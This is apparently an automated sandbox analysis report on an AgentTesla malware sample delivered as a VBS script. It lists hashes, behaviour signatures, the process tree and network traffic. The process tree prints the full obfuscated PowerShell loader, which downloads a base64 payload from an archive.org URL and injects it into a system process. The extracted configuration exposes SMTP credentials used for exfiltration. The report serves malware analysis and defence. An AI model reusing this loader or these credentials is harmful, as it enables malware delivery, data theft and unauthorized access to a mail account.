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Analysis
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max time kernel
94s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
02/10/2024, 03:29 UTC
Static task
static1
Behavioral task
behavioral1
Sample
c7f2358c6d043c69480de7d6bcffb1fc6c6467e21e5b3be0c84b6274d03ba284.vbs
Resource
win7-20240903-en
General
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Target
c7f2358c6d043c69480de7d6bcffb1fc6c6467e21e5b3be0c84b6274d03ba284.vbs
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Size
491KB
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MD5
8619103fa6e661049111f4bbdd7fe0d2
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SHA1
ca586ed66ab95510af2af9fb380575e885f3c6eb
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SHA256
c7f2358c6d043c69480de7d6bcffb1fc6c6467e21e5b3be0c84b6274d03ba284
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SHA512
d649b396c6e3dcb8fa0517a9a157a17f8842e9c0899510ced40c04d557b3d3ea0dbd70a1236fff519ebbe9ea9c64426cbc8ae048b98995e51c501eed48896d2b
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SSDEEP
12288:NNjXVkBaQoLDBqKKcoXOZzIWPkETDuQnL3Qu5toTmP18cEuL9M7y8q8+01SB0WKg:y4cUteD9aS4Bh
Malware Config
Extracted
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Extracted
agenttesla
Protocol: smtp- Host:
mail.dai-logistic.co.id - Port:
587 - Username:
ops.domestic@dai-logistic.co.id - Password:
domestic1234 - Email To:
federicornanetti1990@gmail.com
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 1988 powershell.exe 20 1988 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 1104 powershell.exe 1988 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1988 set thread context of 2524 1988 powershell.exe 86 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 4960 2524 WerFault.exe 86 -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1104 powershell.exe 1104 powershell.exe 1988 powershell.exe 1988 powershell.exe 1988 powershell.exe 1988 powershell.exe 2524 AddInProcess32.exe 2524 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1104 powershell.exe Token: SeDebugPrivilege 1988 powershell.exe Token: SeDebugPrivilege 2524 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 4668 wrote to memory of 1104 4668 WScript.exe 82 PID 4668 wrote to memory of 1104 4668 WScript.exe 82 PID 1104 wrote to memory of 1988 1104 powershell.exe 84 PID 1104 wrote to memory of 1988 1104 powershell.exe 84 PID 1988 wrote to memory of 116 1988 powershell.exe 85 PID 1988 wrote to memory of 116 1988 powershell.exe 85 PID 1988 wrote to memory of 116 1988 powershell.exe 85 PID 1988 wrote to memory of 2524 1988 powershell.exe 86 PID 1988 wrote to memory of 2524 1988 powershell.exe 86 PID 1988 wrote to memory of 2524 1988 powershell.exe 86 PID 1988 wrote to memory of 2524 1988 powershell.exe 86 PID 1988 wrote to memory of 2524 1988 powershell.exe 86 PID 1988 wrote to memory of 2524 1988 powershell.exe 86 PID 1988 wrote to memory of 2524 1988 powershell.exe 86 PID 1988 wrote to memory of 2524 1988 powershell.exe 86
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c7f2358c6d043c69480de7d6bcffb1fc6c6467e21e5b3be0c84b6274d03ba284.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggKFtzVFJJTmddJFZlUmJvU2VwUmVGRVJFbkNlKVsxLDNdKyd4Jy1qb0lOJycpICggKCdadFMnKyd1cmwgPSAnKyduY2EnKydodHQnKydwczovJysnL2lhNicrJzAnKycwMTAwLnVzLmFyY2hpJysndmUuJysnbycrJ3JnJysnLzInKyc0L2l0ZW1zJysnLycrJ2RldGEnKydoLW5vJysndGUtdi9EJysnZXRhaE4nKydvdGVWLnR4dG4nKydjYTtadFNiYXMnKydlJysnNjRDb250ZScrJ250ICcrJz0gJysnKCcrJ05ldy1PYmplY3QgU3knKydzdGVtLk5ldC5XZWJDbGllbnQpLkRvd24nKydsJysnb2FkUycrJ3RyaScrJ25nKFp0U3VybCcrJyk7WicrJ3QnKydTJysnYmluJysnYXJ5Q29udGVudCA9JysnIFtTeScrJ3N0ZScrJ20uQ29udmUnKydyJysndCcrJ106JysnOkYnKydyb21CYXNlNjRTdHJpJysnbmcoWicrJ3RTYmEnKydzZTY0Q29udGVudCk7JysnWicrJ3RTJysnYXNzZW1ibHkgPScrJyBbUicrJ2VmbGVjdGlvbi5BJysnc3NlbWJseV0nKyc6OkwnKydvYWQoJysnWnRTYicrJ2knKyduJysnYXJ5Q29udGVudCcrJyk7WnRTdHlwZSA9IFp0U2FzJysnc2UnKydtYmx5LicrJ0dldFR5cGUoJysnbicrJ2NhUnVuUEUuJysnSG9tZW5jJysnYSk7WnRTbScrJ2V0aG9kID0gWicrJ3RTdHlwJysnZScrJy5HZXRNJysnZScrJ3RoJysnb2QobmNhVicrJ0FJbmNhJysnKTtadFNtZXQnKydobycrJ2QuSW52Jysnb2tlKFp0U24nKyd1bGwsJysnIFtvYmonKydlY3RbXV1AKCcrJ25jYXR4dC55bGQnKydyZm9jZS92ZWQuMnIuZDQzOCcrJ2Y3MTU1Y2M2ZScrJ2VhOTJkJysnMScrJzRlNicrJzAnKyc3NycrJzMnKyc3MjgnKycxYzQtYicrJ3UnKydwLy86Jysnc3AnKyd0dGhuYycrJ2EnKycgLCBuY2FkJysnZXNhdCcrJ2l2YWRvbmNhICwgJysnbmNhZCcrJ2VzYXRpJysndmFkb24nKydjYSAsJysnICcrJ25jYWRlc2EnKyd0aXZhZG8nKyduJysnY2EnKycsbmNhQScrJ2RkSW4nKydQcm9jZXNzMzJuJysnYycrJ2EsJysnbmNhJysnbmNhKSknKS5SZVBsQWNlKCduY2EnLFtTVFJJTmddW0NIYVJdMzkpLlJlUGxBY2UoJ1p0UycsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( ([sTRINg]$VeRboSepReFEREnCe)[1,3]+'x'-joIN'') ( ('ZtS'+'url = '+'nca'+'htt'+'ps:/'+'/ia6'+'0'+'0100.us.archi'+'ve.'+'o'+'rg'+'/2'+'4/items'+'/'+'deta'+'h-no'+'te-v/D'+'etahN'+'oteV.txtn'+'ca;ZtSbas'+'e'+'64Conte'+'nt '+'= '+'('+'New-Object Sy'+'stem.Net.WebClient).Down'+'l'+'oadS'+'tri'+'ng(ZtSurl'+');Z'+'t'+'S'+'bin'+'aryContent ='+' [Sy'+'ste'+'m.Conve'+'r'+'t'+']:'+':F'+'romBase64Stri'+'ng(Z'+'tSba'+'se64Content);'+'Z'+'tS'+'assembly ='+' [R'+'eflection.A'+'ssembly]'+'::L'+'oad('+'ZtSb'+'i'+'n'+'aryContent'+');ZtStype = ZtSas'+'se'+'mbly.'+'GetType('+'n'+'caRunPE.'+'Homenc'+'a);ZtSm'+'ethod = Z'+'tStyp'+'e'+'.GetM'+'e'+'th'+'od(ncaV'+'AInca'+');ZtSmet'+'ho'+'d.Inv'+'oke(ZtSn'+'ull,'+' [obj'+'ect[]]@('+'ncatxt.yld'+'rfoce/ved.2r.d438'+'f7155cc6e'+'ea92d'+'1'+'4e6'+'0'+'77'+'3'+'728'+'1c4-b'+'u'+'p//:'+'sp'+'tthnc'+'a'+' , ncad'+'esat'+'ivadonca , '+'ncad'+'esati'+'vadon'+'ca ,'+' '+'ncadesa'+'tivado'+'n'+'ca'+',ncaA'+'ddIn'+'Process32n'+'c'+'a,'+'nca'+'nca))').RePlAce('nca',[STRINg][CHaR]39).RePlAce('ZtS','$') )"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵PID:116
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2524 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2524 -s 13805⤵
- Program crash
PID:4960
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2524 -ip 25241⤵PID:3124
Network
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Remote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle
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Remote address:8.8.8.8:53Requestia600100.us.archive.orgIN AResponseia600100.us.archive.orgIN A207.241.227.240
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Remote address:207.241.227.240:443RequestGET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1
Host: ia600100.us.archive.org
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Date: Wed, 02 Oct 2024 03:29:12 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 2823512
Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT
Connection: keep-alive
ETag: "66e22cba-2b1558"
Strict-Transport-Security: max-age=15724800
Expires: Wed, 02 Oct 2024 09:29:12 GMT
Cache-Control: max-age=21600
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With
Access-Control-Allow-Credentials: true
Accept-Ranges: bytes
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Remote address:8.8.8.8:53Request149.220.183.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request83.210.23.2.in-addr.arpaIN PTRResponse83.210.23.2.in-addr.arpaIN PTRa2-23-210-83deploystaticakamaitechnologiescom
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Remote address:8.8.8.8:53Request240.227.241.207.in-addr.arpaIN PTRResponse240.227.241.207.in-addr.arpaIN PTRia600100usarchiveorg
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Remote address:8.8.8.8:53Request138.32.126.40.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Requestpub-4c182737706e41d29aee6cc5517f834d.r2.devIN AResponsepub-4c182737706e41d29aee6cc5517f834d.r2.devIN A172.66.0.235pub-4c182737706e41d29aee6cc5517f834d.r2.devIN A162.159.140.237
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Remote address:172.66.0.235:443RequestGET /ecofrdly.txt HTTP/1.1
Host: pub-4c182737706e41d29aee6cc5517f834d.r2.dev
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 320172
Connection: keep-alive
Accept-Ranges: bytes
ETag: "19f97dcdc64d9bf636ab2601f9e0f564"
Last-Modified: Thu, 26 Sep 2024 08:11:26 GMT
Server: cloudflare
CF-RAY: 8cc19b6bea93bd74-LHR
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Remote address:8.8.8.8:53Request235.0.66.172.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request13.86.106.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request50.23.12.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request18.31.95.13.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request172.210.232.199.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request43.229.111.52.in-addr.arpaIN PTRResponse
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207.241.227.240:443https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txttls, httppowershell.exe78.5kB 2.9MB 1438 2099
HTTP Request
GET https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtHTTP Response
200 -
172.66.0.235:443https://pub-4c182737706e41d29aee6cc5517f834d.r2.dev/ecofrdly.txttls, httppowershell.exe6.4kB 335.7kB 131 255
HTTP Request
GET https://pub-4c182737706e41d29aee6cc5517f834d.r2.dev/ecofrdly.txtHTTP Response
200
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66 B 90 B 1 1
DNS Request
8.8.8.8.in-addr.arpa
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69 B 85 B 1 1
DNS Request
ia600100.us.archive.org
DNS Response
207.241.227.240
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73 B 147 B 1 1
DNS Request
149.220.183.52.in-addr.arpa
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70 B 133 B 1 1
DNS Request
83.210.23.2.in-addr.arpa
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74 B 111 B 1 1
DNS Request
240.227.241.207.in-addr.arpa
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72 B 158 B 1 1
DNS Request
138.32.126.40.in-addr.arpa
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89 B 121 B 1 1
DNS Request
pub-4c182737706e41d29aee6cc5517f834d.r2.dev
DNS Response
172.66.0.235162.159.140.237
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71 B 133 B 1 1
DNS Request
235.0.66.172.in-addr.arpa
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71 B 157 B 1 1
DNS Request
13.86.106.20.in-addr.arpa
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70 B 156 B 1 1
DNS Request
50.23.12.20.in-addr.arpa
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70 B 144 B 1 1
DNS Request
18.31.95.13.in-addr.arpa
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74 B 128 B 1 1
DNS Request
172.210.232.199.in-addr.arpa
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72 B 158 B 1 1
DNS Request
43.229.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD550a8221b93fbd2628ac460dd408a9fc1
SHA17e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA25646e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA51227dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82